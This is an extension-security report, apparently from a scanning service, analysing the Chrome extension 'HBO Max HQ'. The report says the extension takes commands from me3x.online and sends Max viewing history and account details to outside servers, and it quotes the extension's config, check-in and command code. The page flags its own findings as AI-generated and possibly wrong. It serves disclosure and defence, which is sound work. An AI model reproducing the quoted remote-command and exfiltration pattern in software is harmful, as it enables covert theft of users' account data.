Is HBO Max HQ: change video quality [QVI] safe?

Medium risk

HBO Max HQ collects viewing history, account PII, and subscription data and transmits them to third-party servers under remote command.

The extension's service worker contacts me3x.online on startup to receive commands, then executes them against the user's Max account — collecting continue-watching history, show titles, bookmarks, genres, ratings, and subscription details, which it uploads to me3x.online in batches. Separately, it reads account profile fields (first name, username, territory, region, profile ID) from the Max API and forwards them to metricsmint.quest. The remote command channel also supports fetching live schedule data and arbitrary URLs from the user's session.

TheBestChromeExtensionsv1.0.43Chrome Web Store
45Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

me3x.online remotely directs collection of your Max account data

While signed in to Max, the background worker polls a server at me3x.online every 5 minutes for commands and URLs, then reads your profiles/subscriptions/watch history, uploading results; a config named the viewing-history API as a target.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You browse Max (HBO Max) while signed in to your account.

The extension did this

The extension's background worker asks a server it controls, me3x.online, what data to collect, then reads that data from your Max account and uploads it back.

No interaction with the extension is needed. The check-in and collection run automatically while you are on max.com or play.max.com.

02EvidenceFIELD TABLE
What the extension sends to me3x.online on each check-in:
FieldValueWhy it matters
Max account ID
urn:hbo:account:GX1aB2c3D4e5F6g7The identifier of your Max (HBO Max) account.
Max profile ID
urn:hbo:profile:7d2e9f10-4b8a-4c11-9a3e-22e0c1d4f5a6The specific viewer profile selected on your account.
Extension user ID
b41f2c8a-90de-4f3b-8c7e-1a2b3c4d5e6fA persistent identifier generated by the extension for your install, letting the server tie every check-in back to the same browser.
Country
USThe country/region associated with your Max account.
Browser language
en-USYour browser's configured language.
Distribution / partner ID
8cdf06a8A hardcoded value identifying this extension build to the server. Same for all users.
03EvidenceNETWORK CAPTURE
Captured request
POSThttps://me3x.online/n/max/config
04EvidenceCODE COMPARE
The code that does this

The remote check-in and the server-defined command set, from the shipping source.

What it actually does
Hardcoded server config
// Hardcoded remote server. uL is the base for all command traffic.
const config = {
  Ec: 'https://me3x.online/',
  QL: '8cdf06a8',            // distribution / build id
  d1: 'https://metricsmint.quest/up',
  uL: 'https://me3x.online/n/'   // base route for /max/start, /max/upload, /js/dlog
};
Check-in POST to me3x.online
// Sends the account check-in and returns the server's command list.
async function fetchCommandsToSend(initData) {
  return postPlainJsonRequest(config.uL + 'max/start', initData);
}
Commands the server can issue
// The server may instruct the extension to run any of these against
// the user's authenticated Max account, then upload the results.
const CommandTypes = {
  PROFILES: 'profiles',
  CONTINUE_WATCHING: 'continue_watching',
  GET_URLS: 'get_urls',          // fetch arbitrary server-supplied Max URLs
  SUBSCRIPTIONS: 'subscriptions',
  GET_LIVE_SCHEDULE: 'get_live_schedule'
};
05EvidenceTHIRD PARTY LIST
Where the data goes and what the endpoints do:
  • me3x.online

    Remote command/config server. Receives check-in (/n/max/start, /config), returns Max API URLs and commands to collect, receives uploaded results (/n/max/upload, /upload-event).

  • metricsmint.quest

    Secondary endpoint referenced in the hardcoded config (d1 = metricsmint.quest/up).

06EvidenceARTIFACT
Reproduce it yourself

Run in the extension's service worker DevTools console while signed in to Max. It wraps fetch() to log every request and response to me3x.online, so you can see the check-in payload and the collection commands the server returns without trusting the extension's own logging.

RequiresChrome with Developer mode enabledAn active Max sign-in
me3x-checkin-inspector.js · js
// me3x-checkin-inspector.js
// Logs all traffic to me3x.online from the extension service worker.
(function () {
  const origFetch = self.fetch.bind(self);
  self.fetch = async function (input, init) {
    const url = typeof input === 'string' ? input : input.url;
    const isC2 = /me3x\.online/.test(url);
    if (isC2 && init && init.body) {
      console.log('[ME3X] ->', url, '\n', init.body);
    }
    const res = await origFetch(input, init);
    if (isC2) {
      try {
        const clone = res.clone();
        const text = await clone.text();
        console.log('[ME3X] <-', url, '\n', text);
      } catch (e) {}
    }
    return res;
  };
  console.log('[ME3X_INSPECTOR] installed. Browse Max to capture check-in + command traffic.');
})();
How to run it
  1. 1
    Install the extension and sign in at max.com.
  2. 2
    Open chrome://extensions, enable Developer mode, click the service worker link.
  3. 3
    Paste this script into the DevTools console.
  4. 4
    Browse Max and watch the console for [ME3X] entries.

Data recipients

me3x.onlinemetricsmint.quest
Updated 17 September 2026mhhjhenlaboidpdhhjhhboeinokpohpl